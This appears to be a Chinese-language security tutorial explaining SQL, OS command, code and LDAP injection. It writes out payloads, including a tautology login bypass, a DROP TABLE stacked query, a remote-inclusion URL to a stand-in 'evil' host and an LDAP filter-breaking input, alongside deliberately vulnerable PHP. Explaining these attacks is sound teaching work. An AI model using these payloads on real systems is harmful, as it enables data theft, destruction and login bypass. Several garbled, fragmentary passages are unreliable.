注入缺陷是Web應用程序漏洞,允許將不受信任的資料來解釋作為命令或査詢的一部分並執行這些資料,攻擊者利用建構惡意指令導致資料丟失或損壞、缺乏責任或拒絕訪問令或査詢來注入漏洞,注入缺陷在遺留程式碼中普遍存在,通常出現在
SQL
、LDAP
和XPATH
査詢等中,應用程序漏洞掃描器和模糊器很容易發現
影響:控制資料庫系統,進而竊取資料
SQL注入已成為資料庫驅動網站的常見問題。利用程式開發者未嚴格限制使用者輸入與未過濾特殊字串,攻擊者將惡意的SQL程式碼經由網頁傳送至伺服器後端資料庫並執行。
攻擊者可以使用易受攻擊的Web應用程序繞過常規安全措施,直接訪問有價值的資料,SQL注入攻擊通常可以從登錄帳號、密碼、地址欄或應用程序欄位內以及通過査詢和蒐索執行SQL命令。成功的SQL注入漏洞可以從資料庫讀取敏感資料,攻擊者可能會修改(插入,更新或刪除)資料庫,對資料庫執行管理操作(例如關閉),甚至對資料庫進行DOS攻擊。
例如,網站上的Web表單可能會請求用戶的帳戶名,然後將其發送到資料庫,以便使用動態SQL提取相關的帳戶信息,如下所示:
“ SELECT * FROM Users WHERE account ='“ + userProvidedAccountNumber +”';”
雖然此方法適用於正確輸入其帳號的用戶,但它給攻擊者留下了漏洞。例如,如果某人決定提供帳號 “‘ or ‘1’ = ‘1’”
,則會導致查詢字符串為:
“SELECT * FROM users WHERE account = ‘’ or ‘1’ = ‘1’;”
因為'1'='1'
總是計算為TRUE
,所以資料庫將為所有用戶返回資料(而不是單個用戶)。
test');DROP TABLE Messages;--
2.到web browser <?php
function save_email($user,$message)
{
$sql= "INSERT INTO Messages(
user,message
)VALUES(
'$user',
'$message'
)";
return mysql_query($sql);
}
?>
它涉及通過web應用程序注入惡意程式碼,如果用戶能夠在任何用戶輸入字段上註入操作系統命令,則可能導致攻擊者註入惡意命令以從Web服務器獲取敏感信息。
system(),StartProcess(),java.lang.Runtime.exec(),System.Diagnostics.Process.Start()
,以及類似的APIhttp://www.juggyboy.com/vulnerable.php?COLOR=http://evil/ exploit?
攻擊者啟動代碼注入惡意程式碼:
www.juggyboy.com/banner.gif | | newpassword | | 1036 | 60 | 468
集中管理使用者與認證資訊的一種機制,類似SQL Injection攻擊手法,差異在於攻擊對象不同,針對LDAP 系統。
一個LDAP注入技術來充分利用未驗證的Web應用程序的輸入漏洞通過用於搜索目錄服務,以獲得LDAP樹後面直接訪問數據庫的LDAP過濾器
什麼是LDAP?
LDAP目錄服務根據其内容存儲和組織資訊。資訊按層次結構組織為目錄項樹
LDAP是基於客戶-服務模型和客戶端可以使用篩檢程式搜索目錄條目
LDAP注入與SQL注入的工作原理相同,在SQL注入中,攻擊者試圖輸入任意數據以製作由LDAP服務器執行的惡意查詢。
流程
“juggyboy”
,並注入juggyboy)(&))
,則URL字符串變為(&(USER = juggyboy)(&))(PASS =blah))
僅在第一濾波器由LDAP處理服務器中,僅查詢(&(USER = juggyboy)(&))
進行處理。該查詢始終是真實的,而攻擊者登錄到系統中沒有一個有效的密碼。主要目的是利用跳脫字元繞過登入驗證:
影響:繞過登入驗證
語法 | 屬性運算符值 |
---|---|
Operator | Example |
= |
objectclass= user |
>= |
mdbStorageQuota>= 100000 |
<= |
mdbStorageQuota<= 100000 |
~= |
displayName~= Poeckeler |
* |
displayName=* John* |
AND(&) |
(& (objectclass=user)(displayName=John) |
`OR( | ) ` |
NOT(!) |
(! objectClass=group) |
參考資料: